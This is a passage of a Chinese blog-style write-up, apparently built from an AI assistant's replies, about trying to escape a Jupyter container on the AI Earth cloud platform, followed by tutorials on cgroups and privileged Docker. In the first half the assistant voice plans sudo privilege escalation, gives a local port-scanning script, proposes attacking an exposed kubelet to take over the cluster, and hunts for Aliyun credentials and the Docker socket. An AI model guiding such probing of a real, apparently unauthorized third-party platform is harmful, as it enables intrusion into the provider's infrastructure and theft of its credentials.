| 容器层 | 特权模式 / Cap 逃逸 | ❌ 失败 | 无 SYS_ADMIN 权限 |
| 网络层 | 主机网络 (Host Network) | ✅ 存在 | 唯一的高危配置 |
| 网络层 | Kubelet 未授权访问 | ❌ 失败 | 接口有 401 认证拦截 |
| 网络层 | 云元数据 (AK/SK) 窃取 | ❌ 失败 | 防火墙拦截 |
| 应用层 | 敏感文件/Token 扫描 | ⚠️ 发现 | 仅限应用层 Token,无法逃逸 |
根据Evaluate 模块收集到的信息,发现了2个突破口:
🚩 突破口一:sudo 竟然存在!
-
证据 :
available commands: ... sudo -
解读 :工具箱里发现了
sudo命令。这是一个巨大的隐患。 -
机会 :如果管理员配置疏忽,允许
jovyan用户免密使用 sudo ,或者允许 sudo 执行某些特定命令(如sudo docker,sudo tar),你就能瞬间变成 Root,之前的限制全部解除!
🚩 突破口二:疑似"主机网络模式" (--net=host)
-
证据 :
host unix-socket found, seems container started with --net=host privilege. -
解读:CDK 怀疑这个容器共享了宿主机的网络栈。
-
机会 :如果这是真的,意味着没有网络隔离。
-
你可以监听宿主机的网络流量(抓包)。
-
你可以访问宿主机上只监听
127.0.0.1的内部服务(比如本地数据库、管理接口)。 -
你可以直接扫描局域网内的其他机器
-
下一步:验证突破口 (Action Plan)
既然发现了两个疑点,我们现在的目标非常明确:测 Sudo,测网络。
任务 A:测试提权可能性 (Sudo Check)
我们要看看能不能变成 Root。
bash
# 1. 检查 sudo 配置(最关键)
# 如果不需要密码就列出了内容,说明有戏;如果让你输密码,通常就没戏了。
sudo -l
# "非交互模式" (-n)
# 2. 尝试无密码切换 Root(碰碰运气)
sudo -i
结果判断:
-
如果输出
sudo: a password is required:说明没戏,提权失败,卡死的问题也就避免了。 -
如果输出了一串列表:说明有戏,你可以免密执行列表里的命令。
执行结果如下:
sudo: a password is required
分析如下:
这意味着:
系统明确告诉您"需要密码"。这说明管理员没有 给 jovyan 用户配置"免密 sudo"权限。
结论 : 这条路(Sudo 提权)已经堵死了。您现在的环境是一个权限被严格限制的普通用户环境,无法通过 sudo 拿到 Root 权限。
问题:
由于AI earth开发者环境中使用的是JupyterNodebook,所以在Jupyter中我执行!sudo -l或! sudo -i这类命令后,内核状态就该处于忙碌了,就会卡住,每次我都只能restart内核。
解决方案:
1.在 Cell 中使用"非交互模式" (
-n) (non-interactive) 参数请将命令修改为:
!sudo -n -l
-n的意义:"如果需要输密码,别等我,直接报错退出。"
注意:
永远不要在 Jupyter Cell 里执行以下命令,因为它们会启动一个永远不结束的进程,导致 100% 卡死:
❌
!sudo -i❌
!bash❌
!sh❌
!su
任务 B:验证网络模式 (Network Check)
我们要确认是不是真的处于 Host Network 模式。
bash
# 1. 查看网卡信息
# 如果你看到几十个网卡(veth...),或者看到宿主机的真实物理网卡(eth0 ip是局域网ip而非容器ip),那就是 Host 模式。
ip addr
如果您只看到 lo (127.0.0.1) 和 eth0 (且 IP 是 172.x.x.x),那可能是正常的容器隔离。
高危特征:如果您看到了几十个网卡(如 vethxxxx, docker0, calico 等),或者看到了宿主机的物理网卡 IP(通常是 192.168.x.x 或 10.x.x.x),那就实锤了主机网络模式。
# 2. 查看监听端口
# 如果能看到大量系统服务端口(如 22 sshd, 10250 kubelet),说明你拥有宿主机视野。
netstat -antp || ss -antp
看看有没有 127.0.0.1:22 (SSH) 或 0.0.0.0:10250 (Kubelet) 这种端口暴露出来。
执行结果如下:
/bin/bash: line 1: ip: command not found
/bin/bash: line 1: netstat: command not found
/bin/bash: line 1: ss: command not found
分析如下:
因为您所在的容器是一个"极简版(Distroless/Minimal)"镜像 。为了减小体积和提高安全性,云厂商把 ip、netstat、ifconfig 这些常用的网络排查工具都删掉了。
我们用 Python 代码来替代那些缺失的命令。请在 Notebook 的单元格中依次运行以下两段代码:
1. 替代 ip addr:查看网络接口和 IP
这段代码会读取内核文件 /proc/net/dev 并尝试获取本机 IP,帮我们判断是否是主机网络模式。
python
import socket
import os
print("-" * 30)
print("【网络身份侦察】")
try:
# 1. 获取主机名
hostname = socket.gethostname()
print(f"主机名: {hostname}")
# 2. 尝试获取对外 IP (通过连接外网 DNS 探测路由)
# 这比 socket.gethostbyname 更准确,能拿到实际出口 IP
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
# 连一下阿里的 DNS,不会真的发包,只是建立路由映射
s.connect(('223.5.5.5', 80))
ip = s.getsockname()[0]
print(f"当前容器 IP: {ip}")
except Exception as e:
print(f"无法获取 IP: {e}")
finally:
s.close()
# 3. 打印网卡列表 (替代 ip addr / ifconfig)
print("\n【网卡接口列表 (来自 /proc/net/dev)】")
# Linux 内核将网络接口信息存在这个文件里,即使没有 ip 命令也能看
if os.path.exists("/proc/net/dev"):
with open("/proc/net/dev", "r") as f:
print(f.read())
else:
print("无法读取 /proc/net/dev")
except Exception as e:
print(f"发生错误: {e}")
-
主机网络模式(高危) :如果您在"网卡接口列表"里看到了几十个接口(例如
calico、veth、docker0、br-xxx),或者看到了物理网卡名(如eth0)且对应的 IP 是局域网 IP(如 192.168.x.x 或 10.x.x.x)。 -
隔离网络模式(安全) :如果您只看到了
lo和eth0两个接口,且 IP 看起来像容器段(比如 172.17.0.x)。
执行结果如下:
python
------------------------------
【网络身份侦察】
主机名: jupyter-319038548--232149
当前容器 IP: 172.20.46.96
【网卡接口列表 (来自 /proc/net/dev)】
Inter-| Receive | Transmit
face |bytes packets errs drop fifo frame compressed multicast|bytes packets errs drop fifo colls carrier compressed
lo: 51469152 59308 0 0 0 0 0 0 51469152 59308 0 0 0 0 0 0
dummy0: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
eth0: 101867100 453286 0 0 0 0 0 0 566514371 604057 0 0 0 0 0 0
ifb0: 30411496 93081 0 13 0 0 0 0 30410586 93068 0 0 0 0 0 0
更方便的:
其实我发现上述**
ip addr可以使用CDK工具``来代替:**!./cdk ifconfig
输出结果如下:
2026/01/08 06:04:53 lo 127.0.0.1/8 2026/01/08 06:04:53 lo ::1/128 2026/01/08 06:04:53 eth0 172.20.46.96/20 2026/01/08 06:04:53 eth0 fe80::216:3eff:fe13:9da5/64 2026/01/08 06:04:53 ifb0 fe80::80e7:a0ff:fe51:4123/64
2. 替代 netstat:扫描本地监听端口
既然没有 netstat,我们用 Python 快速扫描一下 localhost 开放了哪些端口。
python
import socket
print("-" * 30)
print("【本地端口扫描 (替代 netstat)】")
# 定义我们要关注的敏感端口
target_ports = [
22, # SSH
80, # HTTP
443, # HTTPS
2375, # Docker API (未加密)
6443, # K8s API
8080, # Kubelet / Web 服务
10250, # Kubelet API (高危!)
10255 # Kubelet ReadOnly API
]
open_ports = []
for port in target_ports:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(0.1) # 快速超时,只测通断
result = sock.connect_ex(('127.0.0.1', port))
if result == 0:
print(f"发现开放端口: {port} [DANGER]")
open_ports.append(port)
sock.close()
if not open_ports:
print("未发现常见敏感端口开放。")
else:
print(f"\n共发现 {len(open_ports)} 个敏感端口开放。")
-
如果扫到了 22 (SSH):说明您可能在宿主机上,或者容器启动了 SSH。
-
如果扫到了 10250 / 10255 :这是 Kubelet 的端口。普通容器里绝对不会有这个。如果您看到了,说明是 主机网络模式,且您可以直接攻击 Kubelet 接管集群。
执行结果如下:
------------------------------
【本地端口扫描 (替代 netstat)】
发现开放端口: 10250 [DANGER]
共发现 1 个敏感端口开放。
分析如下:
任务 C:搜寻敏感文件 (File Hunting)
虽然没有 Token,看看有没有遗留的云厂商凭证。
# 检查环境变量里的阿里云相关信息
env | grep -i aliyun
# 检查有没有挂载宿主机的 docker socket(虽然报告没报,但人工确认一下)
ls -l /var/run/docker.sock
请执行上述命令,这一步将决定我们能不能拿到 Root 权限从而进行真正的逃逸。
有关CDK测试工具的讲解请见本人另一篇文档:
待发。。。。。
【核心参考文档】
文档参考:
https://mp.weixin.qq.com/s/5_JnfrpPVS7m1clYzYJ9RQ
https://mp.weixin.qq.com/s/CEb4nYwZOKBb2nEQ8dcCeQ
https://mp.weixin.qq.com/s/rWbwS3C9w4vLVL-ts6vM-w
https://mp.weixin.qq.com/s/oE4FCcScp7y30IaUABcndA
https://mp.weixin.qq.com/s/yHh8EeKFnTw1JH7iVGg1Ow
拓展文档:
https://www.nsfocus.com.cn/uploadfile/2020/0730/20200730065957155.pdf
https://www.cnblogs.com/xiaozi/p/13423853.html
https://www.secrss.com/articles/18752w
附录(补充知识点)
1. && 和 || 的组合写法
cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"
这行命令的核心逻辑是:"去查 PID 1 进程的 cgroup 信息里有没有 'docker' 这个关键词,如果有就说是,没有就说不是。"
这种 && 和 || 的组合写法(这是 Shell 编程中的精华)
我们可以把这行命令拆成 3 个部分 来看:
第一部分:探测与过滤
cat /proc/1/cgroup | grep -qi docker
-
cat /proc/1/cgroup:-
/proc/1/cgroup存储了 PID 为 1 的进程(通常是容器的启动进程或宿主机的 systemd)所属的控制组(Control Group)信息。 -
在 Docker 容器中,这个文件通常会包含类似
...:/docker/...的路径。
-
-
|(管道): 把前一个命令的输出扔给后一个命令。 -
grep -qi docker:-
grep: 文本搜索工具。 -
-i(Ignore case): 忽略大小写。匹配 Docker, docker, DOCKER 均可。 -
-q(Quiet): 静默模式 。这是关键!加上-q后,grep不会输出任何内容到屏幕 ,它只会默默地返回一个状态码(Exit Code):-
如果找到了:返回
0(代表成功)。 -
如果没找到:返回
1(代表失败)。
-
-
第二部分:成功时执行 (&&)
&& echo "Is Docker"
-
&&(逻辑与) : 只有当左边 的命令执行成功 (返回状态码 0)时,右边的命令才会执行。 -
逻辑 : 如果
grep找到了 "docker" -> 状态码 0 -> 执行echo "Is Docker"。
第三部分:失败时执行 (||)
|| echo "Not Docker"
-
||(逻辑或) : 只有当左边 的命令执行失败 (返回状态码非 0)时,右边的命令才会执行。 -
逻辑 : 如果
grep没找到 -> 状态码 1 ->&&后的命令被跳过 -> 轮到||接手 -> 执行echo "Not Docker"。
2. 教会你这种写法:Shell 的"短路逻辑"
这种写法其实是 Shell 中 if ... then ... else 的单行简写版。
语法公式
命令1 && 命令2 || 命令3
它的 Python 对应写法
鉴于您熟悉 Python,这行 Shell 命令的逻辑完全等同于:
# 假设 grep_return_code() 是执行 grep 后的返回值
if grep_return_code() == 0: # 0 在 Shell 中代表 True/Success
print("Is Docker") # 对应 &&
else:
print("Not Docker") # 对应 ||
3. 实战练习
为了验证您是否掌握了,可以在终端里试运行以下命令:
场景一:判断文件是否存在
# 判断 /etc/hosts 是否存在
ls /etc/hosts && echo "文件存在" || echo "文件不存在"
场景二:判断网络连通性
# ping 百度,只发一个包 (-c 1),超时设为 1秒 (-W 1)
ping -c 1 -W 1 www.baidu.com > /dev/null && echo "网络通畅" || echo "断网了"
(注意:这里我用了 > /dev/null 把 ping 的输出丢弃了,效果等同于 grep -q 的静默模式,只关心结果状态码)
4. 针对您 AI Earth 环境的补充
在您当前的 Kubernetes 环境中,执行这行命令可能会输出 Not Docker 或者不准确的结果。
原因:
现代的 Kubernetes (特别是使用 containerd 或 CRI-O 作为运行时) 以及 cgroup v2 机制下,/proc/1/cgroup 的内容可能不再包含 "docker" 字样,而是包含 "kubepods" 或者纯哈希值。
更稳健的探测命令(兼容 K8s):
# 同时搜 docker 和 kubepods
cat /proc/1/cgroup | grep -Eiq "docker|kubepods" && echo "Is Container" || echo "Not Container"
您可以把这个技巧用在您的自动化脚本中,比如:"如果是容器环境,就自动配置代理;如果是本地环境,就跳过代理配置"。
2. 学会 /proc/1/cgroup 的含义
对于运维和安全人员来说,/proc/1/cgroup 就像是系统的**"身份铭牌"或"资源户口本"**。
通过解读它,你不仅能知道当前进程受到哪些资源限制(CPU、内存等),还能一眼识破自己到底是在物理机 、虚拟机 ,还是Docker 容器 或 Kubernetes Pod 里。
1. 路径拆解:它到底是什么?
-
/proc: Linux 的虚拟文件系统。它不在硬盘上,而在内存里。它是内核即时生成的数据,用来展示系统当前的运行状态。 -
/1: 代表 PID 为 1 的进程。-
在宿主机上,PID 1 通常是
systemd或init(所有进程的老祖宗)。 -
在容器里,PID 1 是容器的启动进程(Entrypoint)。
-
-
/cgroup: Control Group(控制组)的缩写。这是 Linux 内核的一个功能,用来限制、隔离和统计进程组的资源使用(如 CPU、内存、磁盘 I/O)。
总结 :/proc/1/cgroup 记录了当前环境下的"一号进程"被归类到了哪些资源控制组中。
2. 结果格式解析:如何读懂它?
当你执行 cat /proc/1/cgroup 时,每一行的格式都是固定的,分为三部分,用冒号 : 隔开。
通用语法:
hierarchy-ID : controller-list : cgroup-path
我们可以拿 K8s 环境输出作为例子来教学:
11:memory:/kubepods/burstable/podc266c...
| 字段部分 | 对应值 | 含义解释 |
|---|---|---|
| 1. 层级 ID | 11 |
这是 cgroup 树的唯一 ID。在 Cgroup v1 中,每种资源(如 memory, cpu)都有独立的层级树。如果是 0,通常表示 Cgroup v2(统一层级)。 |
| 2. 控制器列表 | memory |
表示这一行是关于什么资源的限制。这里是内存(memory)。如果是 cpu,cpuacct 表示 CPU 时间片和统计。 |
| 3. Cgroup 路径 | /kubepods/... |
这是最核心的信息! 它表示进程在资源树中的位置。这个路径直接暴露了你的运行环境特征。 |
3. 实战:通过路径一眼识别环境
这个文件的最大用途就是环境识别。也就是我在上一条回答中那个脚本的原理。
请看第三部分(Cgroup 路径)的区别:
场景 A:你在普通的 Linux 宿主机 (Host) 上
路径通常包含 system.slice 或 user.slice,看起来像这样:
2:memory:/system.slice/sshd.service
1:name=systemd:/system.slice/systemd-journald.service
解读 :看到
system.slice,说明这是由宿主机 systemd 管理的标准服务,你不在容器里。
场景 B:你在原生 Docker 容器里
路径通常包含 docker 字样和一长串哈希值(容器 ID):
11:memory:/docker/1d2e3f4a5b6c... (长哈希)
解读 :看到
/docker/,实锤了,你在 Docker 容器里。
场景 C:你在 Kubernetes (K8s) 的 Pod 里 (你当前的情况)
路径通常包含 kubepods,并且会有 QoS 等级(如 burstable, besteffort):
11:memory:/kubepods/burstable/podc266c7f3-50d4.../0e5574...
解读:
kubepods: 说明由 K8s 管理。
burstable: 这是 K8s 的资源 QoS 类别(该 Pod 设置了 Request 但 Limit 不同或未设)。
pod...: Pod 的 UID。最后一段哈希:具体的容器 ID。
4. 进阶知识:Cgroup v1 vs Cgroup v2
现在的 Linux 系统正在从 Cgroup v1 过渡到 Cgroup v2,输出格式会有巨大变化,你需要知道这一点以防脚本失效。
-
Cgroup v1 (传统模式):
-
也就是你看到的输出。
-
CPU、内存、IO 分别在不同的行,ID 不为 0。
-
特征:多行,每行控制一种资源。
-
-
Cgroup v2 (现代模式):
-
所有资源统一管理。
-
只有一行,ID 为 0,控制器部分为空(或忽略)。
-
输出示例:
0::/system.slice/docker-123456...scope -
脚本适配 :如果你写自动化脚本,不仅要 grep
docker,还要注意正则匹配,不要依赖冒号前面的数字。
-
总结教学
下次你拿到一个 Shell,想知道自己到底是在哪,直接运行:
cat /proc/1/cgroup
-
看中间 :如果是
memory或cpu,确认在看资源限制。 -
看后面(最重要):
-
有
/docker/...-> Docker 容器。 -
有
/kubepods/...-> K8s Pod。 -
只有
/system.slice/...-> 物理机或虚拟机宿主。
-
这就是为什么黑客工具和运维脚本都喜欢盯着这个文件看的原因。
# 我的HyperV上的Ubuntu虚拟机
user@wangminghaoserver:~$ cat /proc/1/cgroup
0::/init.scope
# 我的WSL上的ubuntu
user@Hao:~$ cat /proc/1/cgroup
0::/init.scope
# AI earth上的容器
13:pids:/kubepods/burstable/podc266c7f3-50d4-4eff-9569-d0eeb52328e9/0e55741e1cc6bbb9c21adcb36c8b3946e969490cab6849dcd58bf7380d879894
12:devices:/kubepods/burstable/podc266c7f3-50d4-4eff-9569-d0eeb52328e9/0e55741e1cc6bbb9c21adcb36c8b3946e969490cab6849dcd58bf7380d879894
11:hugetlb:/kubepods/burstable/podc266c7f3-50d4-4eff-9569-d0eeb52328e9/0e55741e1cc6bbb9c21adcb36c8b3946e969490cab6849dcd58bf7380d879894
10:ioasids:/
9:blkio:/kubepods/burstable/podc266c7f3-50d4-4eff-9569-d0eeb52328e9/0e55741e1cc6bbb9c21adcb36c8b3946e969490cab6849dcd58bf7380d879894
8:cpuset:/kubepods/burstable/podc266c7f3-50d4-4eff-9569-d0eeb52328e9/0e55741e1cc6bbb9c21adcb36c8b3946e969490cab6849dcd58bf7380d879894
7:rdma:/kubepods/burstable/podc266c7f3-50d4-4eff-9569-d0eeb52328e9/0e55741e1cc6bbb9c21adcb36c8b3946e969490cab6849dcd58bf7380d879894
6:perf_event:/kubepods/burstable/podc266c7f3-50d4-4eff-9569-d0eeb52328e9/0e55741e1cc6bbb9c21adcb36c8b3946e969490cab6849dcd58bf7380d879894
5:freezer:/kubepods/burstable/podc266c7f3-50d4-4eff-9569-d0eeb52328e9/0e55741e1cc6bbb9c21adcb36c8b3946e969490cab6849dcd58bf7380d879894
4:net_cls,net_prio:/kubepods/burstable/podc266c7f3-50d4-4eff-9569-d0eeb52328e9/0e55741e1cc6bbb9c21adcb36c8b3946e969490cab6849dcd58bf7380d879894
3:cpu,cpuacct:/kubepods/burstable/podc266c7f3-50d4-4eff-9569-d0eeb52328e9/0e55741e1cc6bbb9c21adcb36c8b3946e969490cab6849dcd58bf7380d879894
2:memory:/kubepods/burstable/podc266c7f3-50d4-4eff-9569-d0eeb52328e9/0e55741e1cc6bbb9c21adcb36c8b3946e969490cab6849dcd58bf7380d879894
1:name=systemd:/kubepods/burstable/podc266c7f3-50d4-4eff-9569-d0eeb52328e9/0e55741e1cc6bbb9c21adcb36c8b3946e969490cab6849dcd58bf7380d879894
0::/
Command: cat /proc/1/cgroup
这三张图分别是我在HyperV的Ubuntu虚拟机、WSL上的Ubuntu容器、AI earth的K8s的pod容器上执行完cat /proc/1/cgroup命令后的结果.
通过对比这三张图(以及结合之前您提供的 AI Earth 环境信息),我们可以清晰地看到 Cgroup v1 (传统) 与 Cgroup v2 (现代) 的区别,以及 完整操作系统 与 容器 的区别。
第一部分:三张图的深度对比
1. Hyper-V Ubuntu 虚拟机
-
输出 :
0::/init.scope -
深度解析:
-
0::: 这是 Cgroup v2 (Unified Hierarchy) 的标志。- 在 Cgroup v2 中,所有资源(CPU、内存、IO)都在同一个层级树下管理,所以层级 ID 是 0,中间控制器列表为空。
-
/init.scope: 这是 Systemd 的标志。- 说明 PID 1 (init 进程) 是由 Systemd 管理的,并且处于系统的初始化作用域中。
-
结论 : 这是一个使用现代内核(支持 Cgroup v2)的、拥有完整启动流程的独立操作系统(即虚拟机)。
-
2. WSL 上的 Ubuntu 容器
-
输出 :
0::/init.scope -
深度解析:
-
0::: 同样是 Cgroup v2。 -
/init.scope: 同样表明它运行着 Systemd。 -
结论 : 这再次证明了 WSL2 本质上就是一个轻量级虚拟机。
- 它和 Hyper-V 虚拟机的表现几乎一模一样:它有自己的内核,跑着完整的 Systemd,看起来像一个独立的操作系统,而不是像 Docker 那样的应用容器。
-
3. AI Earth 的 K8s Pod 容器
-
输出:
13:pids:/kubepods/burstable/podc266c... 12:devices:/kubepods/burstable/... ... 2:memory:/kubepods/burstable/... -
深度解析:
-
13:pids:.../2:memory:...: 这是 Cgroup v1 (Legacy) 的标志。- 每一行代表一种资源(CPU、内存、PIDs),它们有不同的层级 ID。这说明该环境使用的是较旧的容器运行时配置或为了兼容性保留了 v1 接口。
-
/kubepods/...: 这是核心特征!-
路径中明确包含
kubepods,说明这个进程是由 Kubernetes 创建和管理的。 -
burstable: 暴露了该 Pod 的 QoS (服务质量) 类型。
-
-
-
结论 : 这是一个标准的 Kubernetes 容器环境。它不仅被限制了资源,而且被明确标记为集群的一部分。
第二部分:教会您如何"读懂"返回结果
下次执行 cat /proc/1/cgroup 时,您可以像侦探一样从以下 3 个维度 提取情报:
1. 判断 Linux 内核/Cgroup 代次 (看开头)
-
如果是
0::...:-
含义 : Cgroup v2。
-
情报: 系统较新(如 Ubuntu 22.04+),或者容器运行时配置了 v2 支持。这通常意味着更好的资源管理性能。
-
-
如果是
11:memory:...(多行):-
含义 : Cgroup v1。
-
情报: 系统较旧,或者为了兼容旧版 Docker/Java 程序而保留了 v1。
-
2. 判断是"虚拟机/物理机"还是"容器" (看路径)
-
路径包含
/init.scope,/system.slice,/user.slice:-
结论 : 独立操作系统(物理机、虚拟机、WSL)。
-
理由: 你的 PID 1 是 Systemd,你是这个系统的"主人"。
-
-
路径包含
/docker/...:-
结论 : Docker 容器。
-
理由: 你被 Docker 引擎关在了一个 ID 为哈希值的笼子里。
-
-
路径包含
/kubepods/...:-
结论 : K8s Pod。
-
理由: 你是 K8s 集群中的一个计算单元。
-
3. 判断资源服务质量 (仅限 K8s 场景)
如果在路径里看到了以下关键词,你可以知道你的 Pod "地位"如何:
-
guaranteed: VIP 客户。CPU/内存限制很死,不容易被杀。 -
burstable: 普通客户。资源够用时能突发使用,不够时可能会被压缩。 -
besteffort: "乞丐"客户。没有设置任何限制,节点资源紧张时第一个把你杀掉。
总结
-
Hyper-V & WSL : 看着像 "主人" (
/init.scope),用的是 新式武器 (Cgroup v2)。 -
AI Earth : 看着像 "打工人" (
/kubepods),用的是 经典武器 (Cgroup v1)。
# 我虚拟机/WSL 环境
user@Hao:~$ cat /proc/1/cgroup
0::/init.scope
# AI earth上的容器
13:pids:/kubepods/burstable/podc266c7f3-50d4-4eff-9569-d0eeb52328e9/0e55741e1cc6bbb9c21adcb36c8b3946e969490cab6849dcd58bf7380d879894
12:devices:/kubepods/burstable/podc266c7f3-50d4-4eff-9569-d0eeb52328e9/0e55741e1cc6bbb9c21adcb36c8b3946e969490cab6849dcd58bf7380d879894
11:hugetlb:/kubepods/burstable/podc266c7f3-50d4-4eff-9569-d0eeb52328e9/0e55741e1cc6bbb9c21adcb36c8b3946e969490cab6849dcd58bf7380d879894
10:ioasids:/
9:blkio:/kubepods/burstable/podc266c7f3-50d4-4eff-9569-d0eeb52328e9/0e55741e1cc6bbb9c21adcb36c8b3946e969490cab6849dcd58bf7380d879894
8:cpuset:/kubepods/burstable/podc266c7f3-50d4-4eff-9569-d0eeb52328e9/0e55741e1cc6bbb9c21adcb36c8b3946e969490cab6849dcd58bf7380d879894
7:rdma:/kubepods/burstable/podc266c7f3-50d4-4eff-9569-d0eeb52328e9/0e55741e1cc6bbb9c21adcb36c8b3946e969490cab6849dcd58bf7380d879894
6:perf_event:/kubepods/burstable/podc266c7f3-50d4-4eff-9569-d0eeb52328e9/0e55741e1cc6bbb9c21adcb36c8b3946e969490cab6849dcd58bf7380d879894
5:freezer:/kubepods/burstable/podc266c7f3-50d4-4eff-9569-d0eeb52328e9/0e55741e1cc6bbb9c21adcb36c8b3946e969490cab6849dcd58bf7380d879894
4:net_cls,net_prio:/kubepods/burstable/podc266c7f3-50d4-4eff-9569-d0eeb52328e9/0e55741e1cc6bbb9c21adcb36c8b3946e969490cab6849dcd58bf7380d879894
3:cpu,cpuacct:/kubepods/burstable/podc266c7f3-50d4-4eff-9569-d0eeb52328e9/0e55741e1cc6bbb9c21adcb36c8b3946e969490cab6849dcd58bf7380d879894
2:memory:/kubepods/burstable/podc266c7f3-50d4-4eff-9569-d0eeb52328e9/0e55741e1cc6bbb9c21adcb36c8b3946e969490cab6849dcd58bf7380d879894
1:name=systemd:/kubepods/burstable/podc266c7f3-50d4-4eff-9569-d0eeb52328e9/0e55741e1cc6bbb9c21adcb36c8b3946e969490cab6849dcd58bf7380d879894
0::/
Command: cat /proc/1/cgroup
它们分别代表了 Linux 资源管理的 "新时代(Cgroup v2)" 和 "旧时代(Cgroup v1)" ,同时也清晰地划清了 "独立操作系统" 与 "被编排的容器" 的界限。
您的虚拟机/WSL 环境
输出内容: 0::/init.scope
1. 每一部分是什么意思?
这短短一行包含了巨大的信息量,这是 Cgroup v2 (Unified Hierarchy) 的典型特征。
-
0(层级 ID):- 在 Cgroup v2 中,不再像 v1 那样把 CPU、内存分开管理,而是统一管理。所有的资源控制器都在同一个层级树下,所以这里的 ID 统一为 0。
-
::(控制器列表):- 中间为空。因为是统一层级,不需要像 v1 那样列出
cpu,memory等具体控制器名字。
- 中间为空。因为是统一层级,不需要像 v1 那样列出
-
/init.scope(Cgroup 路径):-
这是最有用的信息。
-
init: 指的是 PID 1 进程(初始化进程)。 -
.scope: 这是 Systemd 的术语。Systemd 使用scope来管理由它直接启动的系统进程。 -
含义 :说明当前的 PID 1 进程是由宿主机的 Systemd 直接管理的,它处于系统初始化的作用域中。
-
2. 获取到的有用信息:
-
内核很新:您的虚拟机运行的是较新的 Linux 内核(如 5.8+),并且启用了 Cgroup v2。
-
它是"主人" :当前环境看起来像是一个完整的、独立的操作系统。它不是一个被 Docker 或 K8s 限制在角落里的容器,而是拥有完整 Systemd 管理能力的系统(这符合 WSL2 或 Hyper-V 虚拟机的特征)。
AI Earth 开发环境
输出内容: 一长串列表(Cgroup v1)
1. 每一行是什么意思?
这是经典的 Cgroup v1 结构。每一行代表一种被 Linux 内核隔离和限制的资源类型。
格式为 :ID:控制器名称:当前进程在资源树中的路径
-
13:pids:/...:进程数量限制。防止容器内启动过多的进程(Fork Bomb)耗尽宿主机资源。 -
12:devices:/...:设备访问控制 。决定了容器能访问哪些/dev/下的设备(例如能不能访问显卡、能不能访问硬盘分区)。 -
11:hugetlb:/...:大页内存限制。用于高性能计算(HPC)或数据库的大内存页管理。 -
10:ioasids:/:硬件相关(通常涉及 Intel SVM),这里为空,说明未启用或在根层级。 -
9:blkio:/...:磁盘 I/O 限制。控制容器读写硬盘的速度(IOPS 或吞吐量),防止它把磁盘写死导致由于其他容器卡顿。 -
8:cpuset:/...:CPU 绑核。决定了容器只能在原本宿主机的哪几个 CPU 核心(Core)上运行(例如只准用 0 号和 1 号核)。 -
7:rdma:/...:远程直接内存访问。高性能网络相关。 -
6:perf_event:/...:性能分析 。控制是否允许使用perf等工具监控性能。 -
5:freezer:/...:冻结控制。可以瞬间"暂停"容器内所有进程的运行(像按了暂停键),通常用于容器迁移。 -
4:net_cls,net_prio:/...:网络优先级。用于给网络数据包打标签,控制网络带宽优先级。 -
3:cpu,cpuacct:/...:CPU 时间片与统计。-
cpu: 限制 CPU 使用率(如只准用 0.5 个核)。 -
cpuacct: 统计已经用了多少 CPU 时间。
-
-
2:memory:/...:内存限制。最关键的一行!决定了容器能用多少内存(如 8GB)。如果超过这个限制,进程就会被 OOM Killer 杀掉。 -
1:name=systemd:/...:Systemd 用来追踪服务的命名层级。
2. 获取到的有用信息(从路径 /kubepods/... 中):
-
身份确认 :路径包含
/kubepods,实锤了这是 Kubernetes 平台。 -
QoS 等级 (
burstable):-
路径里的
/burstable/非常关键。它告诉了你这个 Pod 的地位。 -
含义 :您的 Pod 设置了资源请求(Request)和限制(Limit),但它不是最高优先级的(Guaranteed)。这意味着如果节点资源极度紧张,您的 Pod 有可能被驱逐(虽然概率比 BestEffort 低)。
-
-
Pod ID 与 容器 ID:
-
podc266c7f3...:这是该 Pod 在 K8s 集群中的唯一 ID (UID)。 -
最后一段长哈希
0e5574...:这是当前容器的 Docker/Containerd ID。
-
总结对比
| 特征 | 图 1 (虚拟机/WSL) | 图 2 (AI Earth) |
|---|---|---|
| Cgroup 版本 | v2 (现代) | v1 (经典) |
| 输出行数 | 1 行 (统一管理) | 13+ 行 (分门别类) |
| 关键路径 | /init.scope |
/kubepods/burstable/... |
| 环境定性 | 独立操作系统 (自己当家作主) | 受管容器 (被 K8s 严格限制资源) |
| 给运维的启示 | 像管理物理机一样管理它。 | 关注 memory 和 cpu 限制,注意 burstable 意味着资源可能是弹性的。 |
3. docker特权启动命令
docker run --rm --privileged=true -it alpine
这行命令是 Docker 的特权启动模式 ,通常用于 系统维护、故障排查,或者是我们在红蓝对抗中验证容器逃逸时的标准起手式。
用一句大白话解释:"启动一个临时的、拥有'上帝权限'的迷你 Linux 终端,用完即焚。"
1. 命令逐词拆解
| 参数 | 含义 | 深度解读 (运维/安全视角) |
|---|---|---|
docker run |
启动容器 | 这是 Docker 最基础的命令,用于从镜像启动一个新的容器实例。 |
--rm |
用完即删 | Clean up 。容器退出后(当你输入 exit 时),Docker 引擎会自动删除该容器的文件系统和元数据。用途:防止系统里堆积大量退出的僵尸容器,保持环境整洁,非常适合临时测试。 |
--privileged=true |
特权模式 | ⚠️ 核心危险参数 。1. 关掉安全锁 :禁用了 Seccomp 和 AppArmor 限制。2. 设备访问 :容器可以看到并挂载宿主机的所有设备(/dev 下的所有设备)。3. 能力全开 :容器拥有所有的 Linux Capabilities(包括加载内核模块等)。安全隐患:这是容器逃逸的最直接入口。 |
-it |
交互终端 | 这是一个组合参数: -i (Interactive):保持标准输入(Stdin)打开,允许你输入命令。 -t (TTY):分配一个伪终端,让你感觉像是在操作一个真实的 Shell。 缺一不可 :如果只加 -i 没 -t,你看不到提示符;如果没 -i,你输不了命令。 |
alpine |
镜像名 | 一个极其轻量级的 Linux 发行版。特点 :体积只有 5MB 左右,但这"麻雀虽小,五脏俱全",包含包管理器 (apk),下载极快。用途:运维和黑客的最爱,因为它下载快,且环境干净。 |
2. 为什么说这行命令很特殊?
对于普通开发来说,这只是起个环境;但对于运维和安全人员,这行命令意味着"打破隔离"。
普通容器 vs 特权容器 (--privileged)
您可以做一个实验来感受区别:
-
普通容器 (
docker run -it alpine):-
执行
fdisk -l:看不到宿主机的硬盘。 -
执行
ip link:只能看到容器自己的虚拟网卡。
-
-
特权容器 (
docker run --privileged -it alpine):-
执行
fdisk -l:看得到 宿主机的物理硬盘(如/dev/sda)。 -
这意味着什么? 这意味着你可以在容器里直接挂载宿主机的硬盘,然后随意修改宿主机的文件(比如写 SSH Key),直接实现逃逸。
-
3. Docker 常用命令速查(运维实战版)
